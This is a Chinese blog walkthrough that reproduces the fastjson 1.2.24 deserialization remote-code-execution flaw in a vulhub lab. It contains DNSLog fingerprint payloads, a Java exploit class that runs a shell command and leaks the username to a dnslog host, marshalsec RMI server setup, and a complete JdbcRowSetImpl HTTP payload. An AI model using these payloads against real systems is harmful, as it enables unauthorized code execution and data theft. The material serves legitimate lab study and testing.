fast json漏洞

  • A+
所属分类:安全文章

环境搭建

本次搭建的利用的vulhub一键搭建

Git克隆项目,这里需要安装docker和docker-compose环境一键化管理工具,由于之前我已经安装过了所以直接克隆,不懂的可以参考Vulhub官网自行搭建。

git clone https://github.com/vulhub/vulhub.git

cd vulhub/fastjson/

这里面一共有俩个漏洞环境分别是1.2.24-rce1.2.47-rce,依次给大家复现。

cd 1.2.24-rce/

docker-compose up -d第一次启动可能会等待较长时间,可以修改docker源之后再执行,这里推荐使用阿里云自己账号的源,个人感觉比较快,打开阿里云——>控制台——>容器镜像服务——>镜像加速器。

docker ps -a查看所有容器

fast json漏洞

指纹识别

1、报错判断

复现漏洞之前首先要说一下fastjson的指纹,如果我们在实际场景中遇到json数据怎么判断是后端是利用的哪个库,所以我们第一个问题就是怎么判断fastjson,正常来说fastjson是没有指纹的,但是我们可以通过报错来判断,比如直接发送post数据或者加一个左花括号不闭合都可以。

fast json漏洞

2、dns盲打

那如果网站做了报错不显示的处理岂不是这种办法就失效了?

不要着急,利用dnslog探测,这里需要注意Content-Type必须为json才可以。

< 1.2.67版本palyload

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

> 1.2.67版本payload

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

fast json漏洞

fast json漏洞

安装java环境

 复现需要jdk环境https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html`选择对应的操作系统位数下载即可。

  mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
vim /etc/profile

 在最后添加全局变量

  export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin

 添加完后wq保存,执行source /etc/profile. /etc/profile让文件立即生效,注意 .  跟/etc/profile中间有一个空格。

fast json漏洞

漏洞复现

 我们这里选择java rmi模式复现此漏洞,漏洞也是按照vluhub官网的复现方法进行复现。保存以下代码为exp.java。

import java.lang.Runtime;
import java.lang.Process;

public class exp{

  static {
   
      try {
   
          Runtime rt = Runtime.getRuntime();
   
          String[] commands = { "/bin/sh", "-c", "ping -c 1 `whoami`.xxx.dnslog.cn"};
   
          Process pc = rt.exec(commands);
   
          pc.waitFor();
   
      } catch (Exception e) {
   
          // do nothing
   
      }
   
  }

}

 编译java文件,然后开启http服务将编译好的class文件放在web目录下,我这里开启的3000端口。

fast json漏洞

借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类exp.class

 安装marshalsec前需要先安装maven

wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz

tar -zxvf apache-maven-3.5.4-bin.tar.gz

配置maven:vim /etc/profile

export MAVEN_HOME=/opt/apache-maven-3.5.4 /*这个目录换成你的 maven 解压后的文件所在目录*/
export PATH=$MAVEN_HOME/bin:$PATH

source /etc/profile

 执行mvn -version

fast json漏洞

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/

编译
mvn clean package -DskipTests

fast json漏洞

 编译完成后会在target目录下生成一个marshalsec-0.0.3-SNAPSHOT-all.jar文件

 cd /data

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.104/#exp" 9999

fast json漏洞

burp 发包

POST / HTTP/1.1
Host: 192.168.0.104:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 157

{
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://192.168.0.104:9999/exp",
      "autoCommit":true
  }
}

fast json漏洞

参考文章

https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog

https://github.com/alibaba/fastjson/issues/3077

https://vulhub.org/#/environments/fastjson/1.2.24-rce/

https://www.freebuf.com/articles/web/242712.html


本文始发于微信公众号(哈拉少安全小队):fast json漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: